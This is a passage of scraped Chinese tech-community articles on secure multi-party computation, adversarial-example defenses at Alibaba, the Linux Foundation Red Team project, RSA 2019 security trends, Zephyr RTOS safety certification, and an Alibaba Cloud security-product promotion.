OT)。来看一个例子：假设某旅行社拥有N个景点的旅游资料，小淘想去其中的A景点游玩，希望向旅行社购买相关资料做好出游功课。但是小淘非常在意自己的隐私，不希望向旅行社泄露自己的目的地是哪里。因此双方希望这笔交易能够满足以下隐私条件：小淘不希望向旅行社泄露“我准备去A景点”这一信息；旅行社只希望出售小淘出钱购买的那份资料，而不泄露小淘未购买的N-1份资料；粗看起来这种隐私条件似乎是无法满足的：旅行社只要把景点A的资料给到小淘，就必然了解了“小淘正在关注A景点”这一信息；除非旅行社把所有N份资料都给出，但是这又违背了旅行社的利益；但是神奇的OT可以让交易在这种“不可能的条件”下达成。简而言之，在OT协议中，旅行社把他拥有的N份资料使用某种双方协商同意的加密算法和参数进行加密，然后发送给小淘；小淘可以从密文中解密出A的资料，而无法解密出其他N-1份资料。OT除了可以直接用于构造MPC方案之外，也是GC等许多MPC方案的基石。混淆电路我们知道，任意函数最后在计算机语言内部都是由加法器、乘法器、移位器、选择器等电路表示，而这些电路最后都可以仅由AND和XOR两种逻辑门组成。一个门电路其实就是一个真值表，例如AND门的真值表就是：例如其中右下格表示两根输入线(wire)都取1时，输出wire=1：即 1 AND 1 = 1。假设我们把每个wire都使用不同的密钥加密，把真值表变成这样：例如其中右下格表示如果门的输入是b和d，那么输出加密的f(密钥是b和d)。这个门从控制流的角度来看还是一样的，只不过输入和输出被加密了，且输出必须使用对应的输入才能解密，解密出的f又可以作为后续门的输入。这种加密方式就称为“混淆电路(Garbled Circuit，GC)”。将电路中所有的门都按顺序进行这样的加密，我们就得到了一个GC表示的函数。这个函数接收加密的输入，输出加密的结果。假设有两个参与方A和B各自提供数据a、b，希望安全的计算约定的函数F(a,b)，那么一种基于GC的安全两方计算协议过程可以非正式的描述如下：细心的同学一定会指出：第4步中A怎么可以接触B的输入b呢？这不是违背了安全多方计算的假设吗？这里就需要使用OT，A扮演Sender，B扮演Receiver，让B从A处得到Encrypt( b)，却不向A透露b的内容。如图所示：需要注意的是，上述流程只是最原始的GC方法的不严谨描述，GC后续还有Point & Permute、Free XOR、Half Gates等多种细节优化，随着最近几年的研究进展，GC的性能已经差不多可以实用了。以求两个百万维向量的汉明距离(Hamming Distance)为例（应用场景是两份数据求相似度，却互相不泄露数据内容），这样的安全两方计算已经可以在1.5秒左右完成。安全多方计算的安全模型半诚实行为模型与恶意行为模型更细心的同学还会进一步提出问题：“怎么确保A给B的就是一个正确的GC呢？例如A和B商定要比a和b的大小，商定了F(a,b)=a>b?1:0，但是A可以制作一个别的函数的GC，例如F(a,b)=b的第1个比特，这样显然是会侵害B的隐私的，但是由于函数是以GC形式发给B的，B是没有办法发现这个问题?”这确实是一个安全问题，事实上，GC还存在如selective failure等其他更多的安全问题。在介绍解决方案之前，我们需要先定义安全多方计算的安全模型。安全多方计算的安全模型包含多个角度的内容，在上述上下文中，我们关注的是其中的“行为模型”，即参与方可能进行何种行为以获取其他方的隐私。常见的行为模型包括“半诚实(Semi Honest)”和“恶意(Malicious)”两种。前者假设所有参与方都是忠实的按照协议步骤进行执行，只是想通过协议内容推测其他方的隐私，而后者假设恶意参与方为了获取其他方的隐私可以不遵循协议内容。用扑克牌打个不严谨的比方，半诚实的牌友会试图从自己的手牌和已经打出的牌来推测他人的手牌，但是还是遵循扑克牌规则的；而一个恶意的牌友则换牌、偷牌等手段无所不用。可见，本节开始提出的问题属于恶意行为的范畴，而原始的GC只能说在半诚实行为模型下是安全的，无法抵御恶意行为攻击。有许多对GC方案的改进方案可以达到恶意行为模型下的安全性，但是它们都需要付出很大的性能代价：仍然以求两个百万维向量的汉明距离为例，其中最快的方法也需要10秒+，比同等的半诚实方案慢7倍以上。事实上，经过我们的调研，若想真正的实现支持大规模数据的MPC产品，基本上只能考虑半诚实方案。这严重影响了安全多方计算的实用性。公开可验证(Public Verifiable Covert, PVC)行为模型PVC是在半诚实、恶意之间的一种折中。其主要思想是：每个参与方的所有行为都自动带有类似签名的机制以供其他参与方存证。假设某个参与方实施恶意行为，那么其他参与方可以有的概率发现（称为威慑因子，一般>=50%，不能100%发现，因为100%那就直接满足恶意行为模型了）这一恶意行为，并将该行为及其签名公开，令作恶者承受名誉损失。考虑到名誉对一个数据所有者的重要性（例如此后可能再也找不到合作），50%左右的威慑力已经足以让理性者不考虑作恶。PVC模型最开始是由学者在Asiacrypt2012【3】提出，Asiacrypt2015【4】上也有学者提出相关的改进方案，但是这些方案不仅效率较低，而且只有复杂的理论描述，实现可能性低。我们提出的新型PVC方案不仅协议简洁，性能有大幅提升，而且首次进行了完整的代码实现。仍然以求两个百万维向量的汉明距离为例，使用我们威慑因子为50%的PVC方法大概只需要2.5秒。以下仍假设有两个参与方A和B各自提供数据a、b，希望安全的计算约定的函数F(a,b)，以威慑因子=50%为例，给出我们的PVC方案的非正式描述：A选择两个随机种子s1和s2， B和A运行OT随机选择其中一个（不妨设B获取了s1）；A使用s1和s2分别生成GC1和GC2；B和A运行OT获取GC1中B输入wire的加密值（我们后面可以看到GC1不会真正被使用，因此这里可以不与b对应，比如是任意常数值的密文）；B和A运行OT获取GC2中B输入wire对应的b的加密值；A对GC1进行Hash，并把Hash发给B；A对GC2进行Hash，并把Hash发给B；A对上述所有流程进行签名，并把签名发送给B；B由于有s1，因此可以自行生成GC1，可以自己模拟第3步和第5步；如果结果与A发的不一致，则公布相关签名作为A作恶证据。如果一致，就用GC2进行真实计算。可见，A如果作恶，总有50%的概率被B抽查到（因为A不知道B到底掌握了哪个GC的随机种子）。因此理性的A会选择不作恶，忠实的执行安全多方计算协议。需要再次强调的是，为便于理解，所有的协议都仅仅是非正式描述，有兴趣进一步研究细节的同学欢迎参阅我们的论文【1】。总结我们与马里兰大学等高校合作，首次实现了一种“公开可验证(PVC)” 的安全两方计算方案，这种方案的性能接近半诚实方案，同时其PVC特性能够对作弊行为形成威慑力，令其具有远强于半诚实模型的安全性，具有很高的实用价值。本文作者：鸿程阅读原文本文来自云栖社区合作伙伴“ 阿里技术”，如需转载请联系原作者。

AI 安全在阿里业务中的实践，你了解吗？

我们知道，AI 技术将在很长一段时间占据互联网技术时代的风口。但是，有代码的地方就有缺陷，提到技术很难不讲安全，那么AI会不会碰到安全问题呢？AI安全试想一下，未来的某个早晨，当你像往常一样打开无人驾驶的汽车车门，报出目的地，然后坐在后座上舒舒服服地浏览推送给你的各种新闻，汽车突然失控，在本该停止的红灯前飞驰而过撞向了正在过马路的行人，那将是怎样一场灾难。人工智能技术给生活带来便利的同时，其自身的安全问题（AI安全）也不容忽视，AI安全问题可以归纳为内外2方面原因：自身缺陷导致的模型出错：例如，模型结构本身存在缺陷、或者训练数据和真实场景数据之间的偏差，都可能导致模型预测错误。外部攻击导致的模型风险：例如，来自外部的对抗样本攻击可诱使算法识别出现误判漏判，输出错误结果。本文，我们会针对第2点的对抗样本技术结合其在阿里巴巴安全领域中的实际应用给大家做展开介绍。对抗样本技术对抗样本由 ChristianSzegedy[1]等人提出，他们发现通过深度神经网络训练得到的模型，在输入与输出之间的映射往往不是线性的。这样就存在一个问题: 在输入数据中通过故意添加肉眼不易察觉的细微扰动，可以生成对抗样本，导致AI模型以高置信度给出一个错误的输出。如下图所示：目前的对抗样本根据是否需要指定攻击的类目可以分为无目标攻击(non-targeted attack)和目标攻击(targeted attack)。前者不指定具体类目，只要让AI识别错误即可。后者不仅需要使AI识别错误，还需要使AI识别到指定的类别。生成对抗样本，最直接的方法是在给定扰动量的范围内修改样本，使得修改后的样本在AI模型上的损失函数最大化（非定向攻击）或最小化（定向攻击），这样就可以把生成对抗样本的问题归纳为空间搜索的优化问题。基于不同的优化算法，学术界提出了很多对抗样本生成算法，有兴趣的朋友可以自行检索，此处不具体展开。对抗样本应用场景对抗样本技术提出后引发了学术界和工业界对于深度学习模型在安全方面的广泛关注，成为目前深度学习领域最火热的研究课题之一，新的对抗攻击方法不断涌现，应用场景从图像分类扩展到目标检测等。阿里安全一直以来致力于用技术解决社会问题。为了保障整个生态圈中7亿多消费者和千万商家的信息安全，AI技术很早就被应用到了阿里安全体系建设中。安全领域一个重要的特点就是存在很强的对抗性，日常防控中，黑灰产会尝试使用各种对抗样本攻击我们部署的AI防控大坝。对此，一方面，阿里安全图灵实验室的算法专家们提出了若干种提升模型安全性能的方法，强化自身堡垒；另一方面，算法专家们也会以战养战，开展针对对抗样本的攻防研究，利用对抗技术去防御攻击者的模型。下面我们结合实际业务，介绍两种对抗样本的应用场景：1.人脸识别人脸识别技术已经在生活的各个场景普遍应用，手机解锁要靠脸、移动支付要靠脸，机场安检要靠脸……一脸走天下的时代逐渐到来。然而，Bose 和 Aarabi[2]发现通过在原始图像中加入人眼不可区分的微量干扰对人脸识别算法进行攻击后，能够使人脸无法被检测算法定位到。如下图所示，左列为原始图像，检测算法可以准确定位，右列为对抗样本，已经成功绕开了人脸检测算法，而在我们肉眼看来两幅图画基本没有差别。更进一步，采用对抗样本攻击人脸识别系统，还可以使算法把人脸识别成指定的错误类别[3]。下图第一列为目标类别，第2和第4列为原始样本，对其加入干扰生成的对抗样本在第3和第5列，它们均被算法错误识别为第一列目标类别。2.对抗验证码如同网络通信的基础安全设施——防火墙，互联网业务安全也有其基础安全设施——图片验证码和短信验证码。互联网业务广泛使用图形验证码用于区分人类和机器的操作行为，使用短信验证码过滤黑灰产批量账号及提供二次校验功能。现在随着深度学习的门槛越来越低，黑灰产会利用深度学习技术构建模型自动识别验证码，突破算法模型设置的人机识别防线。下图的文本验证码基本都可以被AI模型轻松识别。针对文本验证码面临的挑战，阿里安全图灵实验室的算法专家们将原始验证码替换成增加扰动后的对抗验证码。为了增加对抗验证码的识别难度，又不影响正常用户的体验，算法专家们又在图像区域和生成方式上进行了组合扩展，最终生成的对抗样验证码有效抵御了黑灰产的批量破解，成为阿里业务安全的一道铜墙铁壁。采用该组合扩展生成的对抗验证码如下图所示：针对点击式的图文验证与行为辅助验证码，阿里安全图灵实验室的算法专家们首先在验证码中结合了NLP的问答技术，再将全部问答转换成图片，最后利用对抗技术生成对抗问答图片。使用商业的OCR引擎进行对此类对抗问答图片样本进行识别测试，和原始样本的识别率相比，对抗样本的识别率大幅降低，且并没有对用户的体验带来很大的影响，由此可见AI结合安全能为业务带来巨大的价值。本文作者：安全第一阅读原文本文来自云栖社区合作伙伴“ 阿里技术”，如需转载请联系原作者。

Linux基金会启动Red Team项目旨在帮助保护开源软件

Linux基金会启动Red Team项目，该项目孵化开源网络安全工具，以支持网络范围自动化、容器化测试实用程序、二进制风险量化以及标准验证和改进。Red Team Project的主要目标是使开源软件更安全。他们使用恶意行为者使用的相同工具、技术和程序，但以建设性的方式提供反馈并帮助使开源项目更安全。我们与Google的客户工程师Jason Callaway交谈，以了解有关Red Team项目的更多信息。Linux Foundation：你能简单介绍一下Red Team项目及其与Fedora Red Team SIG的历史吗？Jason Callaway：我在Def Con 25与Red Hatters的一些同事一起创建了Fedora Red Team SIG。我们有一些想要构建的漏洞利用映射工具，我受到了Mudge和Sarah Zatko的Cyber-ITL项目的启发。我想对他们的方法进行开源实现。Fedora项目慷慨地提供托管，并且是极大的倡导者。现在我在谷歌，我很幸运能够将Red Team作为我的20％项目，我希望能够扩大其影响力并建立一个更加供应商中立的社区。Fedora正在与LF合作，支持我们的项目分支，并将在我们的技术指导委员会中有代表。LF：该项目的一些短期和长期目标是什么？Jason：我们最直接的目标是恢复正常运转。这意味着迁移GitHub repos，建立我们的网络和社交媒体，最重要的是，回到编码。我们正在组建一个技术指导委员会，我认为这将成为帮助我们保持专注和有影响力的真正力量倍增器。我们还将在华盛顿特区举行一次聚会，这场聚会将在演讲者和实用的漏洞利用黑客马拉松之间进行为期两周。LF：为什么开源对项目很重要？Jason：开源在很多方面对我们很重要，但主要是因为这是正确的做法。网络安全是一个影响个人、企业、政府和每个人的全球性问题。因此，我们必须使开源软件更安全。有很多人在努力，以典型的开源方式，我们是站在巨人的肩膀上。但Red Team项目希望为开源软件安全提供一些明显的主动价值。LF：社区如何更多地学习并参与其中？Jason：我曾经有一位经理人喜欢说，“80％的工作只是出现了。”这肯定是诙谐的，但它肯定适用于开源项目。要了解更多信息，你可以亲自或通过Google Hangout参加我们的聚会，订阅我们的邮件列表，并在GitHub或我们的网站上查看我们的项目。KubeCon + CloudNativeCon和Open Source Summit大会日期：会议日程通告日期：2019 年 4 月 10 日会议活动举办日期：2019 年 6 月 24 至 26 日KubeCon + CloudNativeCon和Open Source Summit赞助方案KubeCon + CloudNativeCon和Open Source Summit多元化奖学金现正接受申请KubeCon + CloudNativeCon和Open Source Summit即将首次合体落地中国KubeCon + CloudNativeCon和Open Source Summit购票窗口，立即购票！CNCF邀请你加入最终用户社区

阿里云安全肖力：从RSA2019看安全技术发展的十个机遇

又一年RSA大会归来。每一年参会，总会有一些不同的感悟，或是发现全球安全行业的新趋势，或是找到志同道合的新伙伴，或是看到很多人也相信我们相信的安全技术新方向。今天在回国的航班上提笔写下我的感悟和判断，希望对安全领域里的产品和技术同学们有所启发。回顾每一年RSA的主题都有寓意。2017年的主题“Power of Opportunity”，2018年的主题是“Now Matters”。2017年我印象深刻的是大家都在讨论数据智能及AI对安全的影响，所以主题讲的是机遇（Opportunity）。2018年数据安全及GDPR对产业的影响很深，大会主题便强调安全迫在眉睫，强调此时此刻。今年的主题是“Better“，也寓含全球整个安全市场的爆发和安全产品技术的成熟，大家一起to get better。1.Cloud SIEM成为云服务提供商和安全厂商的必争之地Azure和Google在RSA期间都发布了Cloud SIEM的产品，可以让用户基于云端安全能力从云上覆盖云下的业务。这意味着企业在混合云状态下，可以从一个更全局的视角来进行安全管理运营。此外，Google近日也发布了一款网络安全产品“Backstory”，堪称威胁态势版“Google”，因其“无限扩展”能力，以及使用了构造Google基础设施核心的威胁分析引擎而引人注目。同时我也发现今年各大安全厂商也将SIEM来作为自己的主打产品。基于企业各项数据通过用户行为分析（UEBA），基于设备的威胁检测，基于IP和域名告警来实现全局安全智能分析。不论是云服务提供商还是安全厂商现在都希望通过抢占SIEM(安全信息与事件管理平台)市场。我认为本质还是大家都知道在数据时代谁拥有数据就拥有更多可能。随着Cloud SIEM的成熟，也许未来企业用户会在安全管理平台内集成多家厂商的威胁检测及响应引擎来尽可能提升效果。2.创新沙盒的冠军让我们看到安全基础建设的重要性今年RSA创新沙盒的冠军Axonius。其核心优势在于解决了企业资产管理不全的痛点。Axonius可以帮助企业降低攻击面并能与其他安全产品进行联动。这个概念并不超前。我们看到在过去的一年里，无论是有广泛市场需求的数据安全领域还是机器学习及AI在安全领域的应用，安全技术上没有出现突破性/颠覆性的创新。当谈到云上安全的最佳实践，企业安全体系重要的不仅仅是梳理资产，减少攻击面。我认为更重要的是1. 建立统一的身份认证授权体系、2. 安全基线的运营、3. 全局漏洞管理、4. 默认安全流程策略、5. 敏感数据加密。这个组合拳才是整个企业安全的基石。在这些基础领域之上提升6. 威胁检测、7. 事件调查、8. 自动化响应、9.安全溯源能力才能让整个体系更稳固。3.零信任安全的背后是身份认证将成为企业新的边界今年零信任理念也是热点之一。各厂商纷纷推出各种零信任安全产品。大部分零信任安全产品的背后将身份认证作为核心，因为身份认证将成为企业新的边界。我认为随着企业使用大量的SAAS服务、移动互联网BYOD带来的影响，大量企业应用上云，原来企业安全体系以网络边界为核心的防御理念将随之变化。身份认证将成为企业新的安全边界。基于统一的身份认证，制定不同的安全策略，建立分层授权体系，全面实时的安全智能分析能力将构建未来每个企业安全的基石。4.数据安全领域蓄势待发企业越来越重视数据安全，但因为数据安全领域横跨各个安全技术领域，导致各项数据安全方案成熟度不足。过去的一年里无论是在加密计算领域，还是在SGX可信计算领域，数据安全技术还没有大的创新突破。即便是去年创新沙盒的冠军BigID仍然是以合规驱动为主。过去一年从企业数据泄漏事件来看，数据安全技术和方案还需要提升成熟度。之前数据安全领域主要以DLP（数据防泄漏）技术为主，这两年有越来越多的数据安全厂商开始把用户行为分析、数据防泄漏、数据加密、数据流分析多种技术相结合来提升数据泄漏的检测防御效果。但我认为数据安全涉及各个领域，也不仅仅依赖于检测和响应，身份认证授权也是关键。而未来待加密计算和可信计算技术的成熟，数据安全领域也会有更大的突破创新。5.DevSecOps将得到越来越多企业的重视安全工作不能总是在事中或事后，安全工作越前置企业所付出的成本越低。阿里在2005年安全体系建设初期就开始构建SDL（安全开发流程），这也有效的降低安全漏洞数量及各项安全风险。越来越多的企业已经意识到安全评估、自动化检测必须内嵌在整个产品开发生命周期中才能确保业务及代码的安全。而今年我们看到越来越多安全厂商通过黑白盒自动化检测、RASP（运行态应用防护技术）相结合来构建DevSecOps安全方案。我相信接下来的1-2年DevSecOps安全开发流程会被更多的企业接受，整体安全方案成熟性也会逐步提升。6.安全厂商产品融合趋势明显，自动化响应建立完整安全闭环安全涉及所有技术领域导致安全产品非常碎片化，安全厂商细分领域众多。例如涉及网络安全就有DDoS防御、WAF、防火墙、IPS、RASP等多款安全产品，如果在客户场景部署就像“羊肉串”。这对用户运维管理、网络稳定性、安全运营都提出了很大的挑战。今年安全厂商趋势，试图通过多个产品融合来重新定义安全产品，提供用户更完整的安全产品。这个趋势在今年各家厂商推出的产品形态上非常明显。例如原来做终端EDR的厂商尝试将DLP技术整合至产品中。当前热门的SDP（软件定义边界）领域，厂商就结合SDWAN技术打造云端All in one安全产品来给用户进行集中流量清洗及防护。Palo Alto Networks原来是以网络防火墙为核心产品的厂商。近年来通过投资并购，产品领域已成扇形扩展，已覆盖终端安全、威胁情报、XDR(云端威胁检测及响应）。整个公司战略方向很明确，希望覆盖企业全局安全管理平台，我相信SEIM产品也会不久推出。另一方面自动化响应成今年各安全厂商产品形态又一个明显的变化趋势。我们看到安全厂商的共性：统一数据收集/ 全局威胁检测/ 自动化事件调查 /自动化响应几乎大部分Top安全厂商都在努力实现这样的完整安全闭环。前几年大家都很关注安全的Visibility，因此态势感知成为安全焦点。但是检测、Visibility能力只是原来的痛点，今年各大厂商产品都在往自动化响应闭环发展。当然这也对安全智能、事件关联分析技术和产品API化提出更高的要求。7.云安全成为最热焦点今年42%安全厂商涉及云安全，云安全成为各厂商最热点话题。主要原因是越来越多厂商推出“云安全产品”，基于本地化部署的系统上传安全数据至云端进行分析，共享云端威胁情报的能力，从而提供精准的安全决策。我还发现多家MSSP（安全服务提供商）推出基于多云的安全管理平台，可以集成AWS、Azure云安全中心的威胁检测结果，也可以集成各家安全厂商产品数据结果，最终用户可以在混合云的情况下，实现安全一站式的管理，统一安全视角。随着企业越来越多的上云，如何通过数据及AI的能力解决原来企业安全痛点，是各家厂商努力的方向。另外有一点非常有意思，海外的安全厂商几乎没有私有云的安全解决方案，云安全产品主要面向各家公共云场景。这个是当前云计算发展国内与海外最大的不同。8.构建基于API的安全生态我认为海外安全厂商的产品默认API化做的很好，可以方便给其他安全厂商进行集成，也让企业用户易于整合管理。这是海外和国内安全厂商差异所在。海外安全厂商专注在一个技术点的公司比比皆是，而国内安全公司大部分产品策略是以做多做全为主。我相信这其中也体现了国内市场和厂商的无奈。所以国外安全厂商产品天然需要和其他安全产品进行整合，自身产品就非常重视API化。随着云安全不断发展，云服务提供商和安全厂商也开始进行融合。当前全球多家安全厂商通过云产品API来构建基于云平台的安全产品。云服务提供商也集成安全厂商的API来提供云安全产品服务更多的用户。云服务提供商的安全产品API也被安全厂商集成到线下产品来提升能力。我相信用户最终需要的是能够集成各家核心安全能力，打造最佳的防御体系来应对网络安全对业务所带来的风险。9.安全厂商的品牌价值凸显如果说技术代表的是厂商的核心竞争力，那品牌展示则更清晰表达出其定位和差异化。我收集了一些安全厂商的标语，这些标语里面也体现了各家安全厂商的核心优势、品牌理念及市场定位。例如Chronicle强调安全智能、McAfee强调协同、VMware强调云原生安全和智能、AWS强调云上能够提升企业安全性。我个人更喜欢IBM Security的标语：“我们并不需要更多的安全工具，我们需要新的安全规则”。我相信互联网安全环境越来越好也一定离不开政策、法律、合作、技术创新。Chronicle : Global Secruity Intelligence （全球化的安全智能）；IBM Security： We don’t need more tools. We need new rules （不安全的世界，需要的并不是更多的安全工具，而是新的安全规则）；McAfee : Together is Power（产品协同，所有人齐心协力才是最大的力量）；VMware： Intrinsic Security，Intelligent Protection（原生安全，智能保护）；AWS ： Elevate the security（云上提升安全性）。10.展望其他安全技术领域1、在今年RSA大会上业务风控的公司不多，主要以防Bot厂商为主。但我相信随着黑灰产的发展，黑产变现方式不止局限于DDoS攻击、挖矿这类事件。未来黄牛党、广告点击欺诈、防撞库等业务安全问题会对企业业务有更多影响，而业务安全领域也将逐渐成为安全市场主流需求。2、随着Cloud SEIM的兴起以及这两年部分厂商推出MDR（可管理的检测及响应服务），我相信MSSP（安全托管服务）会被越来越多的用户所接受。而这个前提条件就是安全SAAS服务的兴起，国内目标在SAAS服务上用户接受度还不足，我预期随着云计算的发展接下来几年一定会有更大的爆发。3、今年IoT和移动安全厂商非常少，尤其是过去几年大家都很看好的IoT安全领域。这也说明整个IoT市场还在混沌阶段，我也相信IoT安全市场发展要取决于IoT OS之战。从移动互联网走到云时代再到IoT万物互联的时代，不同时代操作系统的安全水位决定了安全市场的大小和走向。我也期待着在云计算和万物互联时代真正到来时，我们能让用户及企业在互联网上更安全无忧的发展业务，帮助他们服务全球用户。本文作者：云安全专家阅读原文本文为云栖社区原创内容，未经允许不得转载。

Zephyr Project RTOS - 开源实时操作系统的首次功能安全认证提交

作者：Amber Hibberd，博士。英特尔功能安全工程经理和Zephyr项目成员免费的开源RTOS…旨在通过安全认证！连接设备的持续增长，暴露了物联网市场的明显差距：需要免费的、允许许可证的开源实时操作系统，该系统已获得国际电工委员会（International Electrotechnical Commission，IEC）和国际标准化组织（International Organization for Standardization，ISO）的功能安全认证。Zephyr项目旨在满足这一需求，并计划成为此类别中第一个提交其核心操作系统，包括长期支持（long term support，LTS）发布的内核和操作系统服务以进行认证。这些证书很重要，因为它们表明产品已经过仔细审查和测试，并且在安全相关系统中被认为是值得信赖的。什么是功能安全？根据IEC，“功能安全依赖于主动（active）系统，例如通过传感器检测烟雾以及随后智能激活灭火系统。”此外，“功能安全本质上是端到端的，它必须将组件或子系统的功能视为任何系统的整个自动保护功能的一部分。”另一方面是提供的安全程度。IEC定义了安全完整性等级（safety integrity level，SIL），ISO规定了汽车安全完整性等级（automotive safety integrity level ，ASIL）。从本质上讲，这些衡量了危险失败的可能性。IEC 61508标准定义了四个级别，SIL 4是最可靠和最严格的。Zephyr RTOS将包含Zephyr软件的硬件系统针对SIL 3。这解决了为功能安全而设计的绝大多数设备用例。针对汽车，我们将提交ISO 26262 ASIL D，以获得许多自动汽车系统的使用资格。ZEPHYR在做什么？Zephyr认证范围适用于跨所选体系结构的核心操作系统，包括内核和操作系统服务。Zephyr有许多RTOS元素仍然不在第一次提交的范围内，如平台驱动程序、板级支持包、平台特定的电源管理实现、文件系统和传感器驱动程序实现。Zephyr项目已经开始致力于在开源环境中开发功能安全认证的RTOS。我们正在与证书颁发机构合作，以确保我们有提交的基础。开源的一个关键方面是邀请社区贡献。我们正在修改我们的开发流程以保持社区参与，同时确保高完整性代码所需的严格流程控制，和开发工具分析。在某些情况下，开源可以更安全，因为开发的透明性和来自不同社区人士注视代码的眼球数量。Zephyr RTOS功能安全评估分两个阶段进行：概念审查和功能安全管理阶段，以及详细的测试阶段。第一阶段包括Zephyr软件安全要求和架构规范，以及验证和确认计划。阶段二包括在软件的所有级别（例如软件模块、软件集成），故障注入测试和编码指南合规性的测试。最后，认证将建立软件故障避免和控制措施到目标完整性水平。开发者可以期待什么？我们的LTS版本将在年中向开发者提供。这是开始对证书提交代码进行测试和原型设计的好方法。一旦我们完成认证，产品设计者就可以使用符合安全要求的最终Zephyr OS内核来创建他们的硬件和应用软件系统。这将缩短构建需要功能安全环境的产品的路径。我们期待为工业、汽车、智能城市和其他产品开发商提供支持，因为他们将Zephyr RTOS集成到他们的安全驱动解决方案中。有关我们免费、安全认证的RTOS的更多信息，请通过Zephyr网站与我们联系。我们很乐意在你的产品中使用我们的代码！要了解更多信息或提出问题，请注册Zephyr Project的Slack频道。KubeCon + CloudNativeCon和Open Source Summit大会日期：会议日程通告日期：2019 年 4 月 10 日会议活动举办日期：2019 年 6 月 24 至 26 日KubeCon + CloudNativeCon和Open Source Summit赞助方案KubeCon + CloudNativeCon和Open Source Summit多元化奖学金现正接受申请KubeCon + CloudNativeCon和Open Source Summit即将首次合体落地中国KubeCon + CloudNativeCon和Open Source Summit购票窗口，立即购票！

2019阿里云开年Hi购季云安全分会场全攻略！

2019阿里云云上Hi购季活动已经于2月25日正式开启，从已开放的活动页面来看，活动分为三个阶段： 2月25日-3月04日的活动报名阶段、3月04日-3月16日的新购满返+5折抢购阶段、3月16日-3月31日的续费抽豪礼+5折抢购阶段。做为整个Hi购季非常重要的一个分会场——云安全会场，3月04开放售卖！下面，云栖社区小编就为各位开发者分享该会场的攻略：丨云安全会场活动阵地：https://promotion.aliyun.com/…丨关键词：基础安全套餐、折扣专区、新品0元试用丨该会场必买爆款清单一、基础安全套餐1）安骑士，ECS贴身安全护卫主机安全软件，1年（不含网页防篡改）。2）DDoS防护包，网络攻击防护保障，1个月。3）SSL证书，网站Https,防劫持篡改1年 Geo Trust通配符。4）网站威胁扫描，资产检测和漏洞扫描，1年（体验版）。多买多赚哦！二、等保合规套餐一站式备齐等保二级、三级防护需求！购买3款及以上产品（年付）即可享受满减！最低612元1年！！！满5万减5千，满10万减1万，最高减10万！！！三、业务安全场景1）身份认证（二要素）核对姓名+身份证号是否一致2）实人认证人脸生物识别是否一致使用门禁、打卡、酒店、网吧3）网站内容识别识别涉政涉暴涉黄文本、图片、视频、音频4）交易风险识别识别羊毛党套利、刷单、撞库、恶意注册防业务欺诈企业账户、登录、营销、交易四、折扣专区1）网站威胁扫描系统网站关联资产检测、漏洞扫描。年付3折！！！活动价：21600.00/年。劲省￥50400.00/年！2）内容安全-站点检测提供首页监测全站检测的内容安全服务。年付5折！！！活动价：2500.00/年。劲省￥2500.00/年！3）实人认证基于实人可信模型进行自真实身份核验年付8折！！！活动价：40000.00/年。劲省￥10000.00/年！4）云防火墙云上网络可视和业务系统隔离，帮助完成VM、业务系统之间的流量管控和微隔离。年付7折！！！活动价：23520.00/年。劲省￥10080.00/年五、新品试用1）内容安全丰富的图片、文字、音视频内容识别服务新品0元使用！！！免费试用链接：https://promotion.aliyun.com/…2）敏感数据保护帮助客户发现、分类和保护敏感信息或文件。新品0元使用！！！申请公测链接：https://cn.aliyun.com/product…3）爬虫风险管理检测防控网络爬虫，解决航空占座、电商黄牛、撞库、刷票风险。4）高防DNS实时攻击检测，异常流量处理，2T防御带宽，适用互联网科技、金融服务机构、跨国集团等超大型公司。六、详细规则（一）、活动对象符合以下全部条件的阿里云用户：1、阿里云官网已实名认证的注册会员用户；2、在活动期间访问过的采购季相关活动页面的用户。（二）、活动时间2019年3月4日至2019年3月31日。（三）、活动规则1、云安全产品新购优惠折扣。①活动期内，用户通过活动页面购买指定云安全产品，可享受相应的优惠折扣。（具体以活动页面实际展示为准）②本活动仅限新购，续费升级不能享受优惠折扣。③本活动中的优惠折扣价格不支持其他优惠活动、代金券的叠加适用。④用户参加本活动购买的特价产品及服务，仅限本账号使用，不得转让、出售或用于牟利。2、小用户套餐包①活动期间，符合条件的用户通过活动页面购买基础安全包时，可享受不同的优惠折扣（具体以活动页面实际展示为准）。②本活动仅限小用户专享。“小用户”是指参加活动时，其阿里云账号下保有1-5台ECS服务器的用户。③用户的1个阿里云账号，仅可参加1次活动。3、等保合规套餐满减优惠①活动期间，用户一次性购买活动页面等保合规套餐专区指定产品中的任意三款产品（年付），且有效消费金额达到一定金额的，可享受相应的满减优惠，最高减10万。具体如下：满5万元减5千；满10万元减1万；满20万元减2万；满30万元减3万；满40万元减4万；满50万元减5万；满60万元减6万；满70万元减7万；满80万元减8万；满90万元减9万；满100万元减10万。②本活动仅限新购，续费或升级不能享受满减。③用户须通过购物车一键下单，分开购买指定产品的累计金额不能享受满减。4、新产品试用①活动期间，用户可通过活动页面，获得阿里云新推出的云安全产品一定期限的免费试用机会（具体以活动页面实际展示为准）。②用户的1个阿里云账号下，就每一款新产品仅限1次试用机会。③用户务必了解，试用产品不承诺稳定性，因此用户不应将其用于正式的业务活动，以免造成损失后果。5、除另有说明外，本会场所有活动不与其他优惠活动叠加适用。6、用户参加活动所购买的相关产品及所获得的相应权益，仅限本账号使用，不得转让、出售或以其他方式换取利益。7、除特殊情况外，用户参加本活动购买的产品，不支持退订。如因特殊原因发生退订的，退订前需交回通过本活动所享受的相关权益，例如：补足差价、退还已使用的代金券金额、交回奖品等。8、如用户在活动中存在隐瞒、虚构、作弊、欺诈或通过其他非正常手段规避活动规则、获取不当利益的行为，例如：作弊领取、恶意套现、网络攻击、虚假交易等，阿里云有权收回相关权益、取消用户的活动参与资格，撤销违规交易，必要时追究违规用户的法律责任。9、活动名称仅为方便用户理解参考使用，不具有效力，实际活动内容以具体活动规则为准。（四）、名词及解释1、“阿里云官网”，是指包含域名为www.aliyun.com的网站以及阿里云客户端，如APP，但阿里云国际站，包括alibabacloud.com以及所有下属页面和jp.aliyun.com以及所有下属页面除外。2、活动中涉及“打折”、“折扣”、“×折”或“省××元”，是指将本活动期间的某款产品的活动价格，与无任何活动期间的相同产品/的日常最小单位售价（例如：月价），按相同购买时长进行比较后，所获得的比较结果。3、“购物车方式购买”、“一次性购买”，是指用户通过勾选购物车内云产品、统一结算的方式同时完成多个云产品购买。4、“有效消费金额”，是指用户的实际付现消费金额。有效消费金额不包括：用户使用代金券、优惠券等非实付方式的消费金额；具体活动规则中明确排除的其他消费金额；退款金额等。5、除非有相反证据证明外，用户参与活动所获得的全部权益和相应责任，均归属于参与活动的该阿里云账号所对应的实名认证主体。6、活动中的“天”、“工作日”等均指该日的0点至24点（北京时间）。7、阿里云可以根据活动